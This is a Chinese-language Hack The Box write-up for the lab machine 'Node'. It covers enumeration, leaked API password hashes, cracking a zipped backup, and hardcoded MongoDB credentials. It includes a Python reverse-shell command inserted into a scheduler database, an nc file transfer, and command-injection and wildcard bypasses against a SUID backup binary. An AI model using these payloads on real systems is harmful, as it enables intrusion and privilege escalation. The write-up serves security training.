[Hack The Box] Node – writeup

💀 OS: linux 💀 Difficulty: medium 💀 Release date: 2017.10.15 💀 Vulnerability :API Fuzzing, JSON, File Misconfiguration, Web

Scanning and Enumeration:

nmap:

┌──(root💀kali)-[~]
└─# nmap -sC -sV 10.10.10.58
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 21:47 EST
Nmap scan report for 10.10.10.58
Host is up (0.20s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-tasktracker-info: 
|_ Logs: /login
|_http-title: MyPlace
| hadoop-datanode-info: 
|_ Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.71 seconds
//<nmap -p- -T5 10.10.10.58> not new found

發現兩個端口是打開的:
✎22/tcp open ssh OpenSSH 7.2p2
✎3000/tcp open hadoop-datanode Apache Hadoop
✎全端口掃描並未發現新端口

gobuster:

┌──(root💀kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.58:3000 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.58:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/01/14 22:03:50 Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/7743637e-b8fb-4ef0-b489-732c34ea4f35 => 200 (Length: 3861). To continue please exclude the status code, the length or use the --wildcard switch

可惜的是gobuster在這台機器上無法做檢測,因為gobuster做檢測的時候會返回一個狀態碼
而這邊的所有返回狀態碼都是200
下面介紹一下feroxbuster目錄掃描應用以及用手工找突破口的方式

feroxbuster:

┌──(root💀kali)-[~]
└─# feroxbuster -u http://10.10.10.58:3000 127 

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.58:3000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD 90l 249w 3861c Got 200 for http://10.10.10.58:3000/6396a7d8982e4df7934b97a7604ed510 (url length: 32)
WLD - - - Wildcard response is static; auto-filtering 3861 responses; toggle this behavior by using --dont-filter
WLD 90l 249w 3861c Got 200 for http://10.10.10.58:3000/449dfd58aac049b5ad3540c428419a16ba5f7ddb14b4444baab8ae62eb745f83b43c8cae1c954efd821f7e13fa044374 (url length: 96)
301 9l 15w 173c http://10.10.10.58:3000/uploads
301 9l 15w 171c http://10.10.10.58:3000/assets
301 9l 15w 171c http://10.10.10.58:3000/vendor
301 9l 15w 175c http://10.10.10.58:3000/partials
[####################] - 39m 149995/149995 0s found:6 errors:39976 
[####################] - 38m 30001/29999 12/s http://10.10.10.58:3000
[####################] - 38m 29999/29999 12/s http://10.10.10.58:3000/uploads
[####################] - 38m 29999/29999 12/s http://10.10.10.58:3000/assets
[####################] - 36m 29999/29999 13/s http://10.10.10.58:3000/vendor
[####################] - 27m 29999/29999 17/s http://10.10.10.58:3000/partials

可惜目錄掃描結果沒有甚麼可以利用的,查看burpsuite的HTTP response發現
X-Powered-By: Express,這是一款基於 NodeJS 的 JavaScript 框架
並且單純載入首頁時候,就載入這麼多份檔案了
再一一分別打開來看裡面是什麼

HTTP/1.1 304 Not Modified 
X-Powered-By: Express 
Accept-Ranges: bytes 
Cache-Control: public, max-age=0 
Last-Modified: Sat, 02 Sep 2017 11:27:58 GMT 
ETag: W/"f15-15e4258ef70" 
Date: Sat, 15 Jan 2022 04:49:15 GMT 
Connection: close
<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>


載入首頁的時候引用了/api/users/latest,神奇的事情是裡面包含著使用者的帳號和密碼!!
但是目前的三組使用者都沒有admin權限,”is_admin”: false

[
  {
    "_id": "59a7368398aa325cc03ee51d",
    "username": "tom",
    "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
    "is_admin": false
  },
  {
    "_id": "59a7368e98aa325cc03ee51e",
    "username": "mark",
    "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
    "is_admin": false
  },
  {
    "_id": "59aa9781cced6f1d1490fce9",
    "username": "rastating",
    "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
    "is_admin": false
  }
]


profile.js -> /api/users/’ + $routeParams.username

try curl -s 10.10.10.58:3000/api/users/mark | jq


visit /api/users
get admin authenticated account!!

[
  {
    "_id": "59a7365b98aa325cc03ee51c",
    "username": "myP14ceAdm1nAcc0uNT",
    "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
    "is_admin": true
  },

使用crackstation解密工具,重要得是管理員密碼拿到囉!

myP14ceAdm1nAcc0uNT / manchester

登入之後可以下載這個網站的站點備份

使用file確定檔案類型
檔案裡面是ASCII text類型
使用base64 方式解密得知檔案是zip檔
將檔案副檔名改名為zip檔並且解壓縮它
但是需要密碼才能解壓縮,使用fcrackzip

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# base64 -d myplace.backup > myplace

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# ls
myplace myplace.backup

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# file myplace 
myplace: Zip archive data, at least v1.0 to extract, compression method=store

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# mv myplace myplace.zip 

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# unzip myplace.zip 
Archive: myplace.zip
creating: var/www/myplace/
[myplace.zip] var/www/myplace/package-lock.json password: 

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# fcrackzip -h

fcrackzip version 1.0, a fast/free zip password cracker
written by Marc Lehmann <[email protected]> You can find more info on
http://www.goof.com/pcg/marc/

USAGE: fcrackzip
          [-b|--brute-force]            use brute force algorithm
          [-D|--dictionary]             use a dictionary
          [-B|--benchmark]              execute a small benchmark
          [-c|--charset characterset]   use characters from charset
          [-h|--help]                   show this message
          [--version]                   show the version of this program
          [-V|--validate]               sanity-check the algorithm
          [-v|--verbose]                be more verbose
          [-p|--init-password string]   use string as initial password/file
          [-l|--length min-max]         check password with length min to max
          [-u|--use-unzip]              use unzip to weed out wrong passwords
          [-m|--method num]             use method number "num" (see below)
          [-2|--modulo r/m]             only calculcate 1/m of the password
          file...                    the zipfiles to crack

methods compiled in (* = default):

 0: cpmask
 1: zip1
*2: zip2, USE_MULT_TAB
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip 
possible pw found: magicword ()
-D:暴力破解
-p:使用指定字典檔
password:magicword

將檔案解壓縮之後,/var/www/myplace/app.js裡面發現一些敏感數據
是一個連接mongodb的帳號密碼
mark / 5AYRft73VtFpc84k

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

exploit:

ssh [email protected] 
//這邊可以使用ssh連線進去只是剛好巧合它的mongodb的密碼和ssh密碼一樣


由於user是在tom權限底下,所以現在需要先取得tom的權限
ps -ef | grep tom 可以把tom權限執行的程式都顯示出來

mark@node:/home/tom$ ps -ef | grep tom
tom       1229     1  0 03:27 ?        00:00:01 /usr/bin/node /var/scheduler/app.js
tom       1232     1  0 03:27 ?        00:00:01 /usr/bin/node /var/www/myplace/app.js
mark      1524  1502  0 03:41 pts/0    00:00:00 grep --color=auto tom

tom正在執行兩隻程式,有一隻看起來比較屬於scheduler
所以我們要去修改這隻程式,把reverse shell放進去讓tom執行就可以拿到tom的權限了
登入mongodb:

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db
scheduler
> show collections
tasks
> db.tasks.find()
> db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("61e51a31b013293c47917638"), "cmd" : "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" }
>
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.3\",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
db:顯示資料庫名稱
show collections : 等同於show tables
db.tasks.find() : 顯示待執行的命令

Privilege Escalation

透過LinEnum.sh發現這個檔案是由root權限執行,並且這份檔案在app.js當中有被調用到

[-] SUID files:
-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup

把檔案導回去本機
nc 10.10.14.4 6666 < /usr/local/bin/backup nc -nvlp 6666 > backup
這份檔案執行的時候需要帶入3個參數
1.-q
2.backup key (45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474)
3.A directory path
./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
[+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

把解出來這串文字放入txt當中再用base64來解密
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# nano r.txt 2 ⚙
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# base64 -d r.txt > r 
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# file r 2 ⚙
r: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# mv r r.zip 
┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# 7z e r.zip                                                                                                                            2 ⚙

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz (806EB),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)

Extracting archive: r.zip
--
Path = r.zip
Type = zip
Physical Size = 1141

    
Enter password (will not be echoed):
Everything is Ok

Size:       2584
Compressed: 1141

┌──(root💀kali)-[~/Desktop/OSCP/Node]
└─# ls                                                                                                                                    2 ⚙
backup  myplace.backup  myplace.zip  root.txt  r.zip  var                                                                                                                                          

簡易說明:
1.使用backup備份之後會跑出一段base64 code
2.放到txt當中進行解密會得到一個7zip檔
3.解壓之後就可以獲得文件
4.可惜的是沒有那麼簡單,沒有獲得正確的root.txt

使用ltrace來觀察看看backup做了甚麼事情

ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /../../etc

got it…

strstr("/tmp", "..")                             = nil
strstr("/tmp", "/root")                          = nil
strchr("/tmp", ';')                              = nil
strchr("/tmp", '&')                              = nil
strchr("/tmp", '`')                              = nil
strchr("/tmp", '$')                              = nil
strchr("/tmp", '|')                              = nil
strstr("/tmp", "//")                             = nil
strcmp("/tmp", "/")                              = 1
strstr("/tmp", "/etc")                           = nil
strcpy(0xff98a1ab, "/tmp")                       = 0xff98a1ab

strstr(), strchr(), strcmp()
三個function都是在做字串替換的行為
字串很明顯是被過濾了,只要有上面的特殊符號, /root, ..就會輸出錯誤的root.txt內容

method1. – Using Wildcards

./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt

method2. – Using the Home Variable

export HOME=/root
./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~"

method3. – Command Injection

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "
/bin/bash
"

use Binary Ninja:

由於backup是binary,所以可以透過binary ninja這類軟體進行分析
載入檔案之後可以點擊view -> Disassembly Graph切換至圖形介面會比較好觀察,再點main觀察主程式內容
如果只要有/root,0x26,0x3b…就會導向失敗輸出笑臉圖
再往下看到push data_8049ee8 {“/usr/bin/zip -r -P magicword %s …”} 是最後做的事情,點data_8049ee8兩下主要做的事情是這三行
1.用zip壓縮並且密碼設定magicword,再給上兩個參數最後把輸出都導向垃圾桶
2.兩個變數 -> %s %s。這部分是我們可以控制的
3.第一個參數正常狀況下是要輸入要備份的路徑,ex:/tmp 如果這邊給到bad character就會輸出笑臉
4.使用command injection。 第一個參數給一個雙引號(“)來跳脫語句
5.輸入 /bin/bash
6.再給一個雙引號(“) 即可成功提權
7. “/usr/bin/zip -r -P magicword %s %s > /dev/null” -> “/usr/bin/zip -r -P magicword ” /bin/bash” > /dev/null”

08049ee8 char const data_8049ee8[0x2f] = "/usr/bin/zip -r -P magicword %s %s > /dev/null", 0
08049f17 char const data_8049f17[0x17] = "/usr/bin/base64 -w0 %s", 0
08049f2e char const data_8049f2e[0x1e] = "The target path doesn\'t exist", 0



Reflections:

1.Weak login credentials and insecure hashing implementation -> the users had chosen easy passwords

2. The backup file we found was zipped  with a weak password

3.Hard coded credentials and password reuse

4.The database credentials is the same as the ssh credentials

reference:

binaryninja

Table of ASCII Characters

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *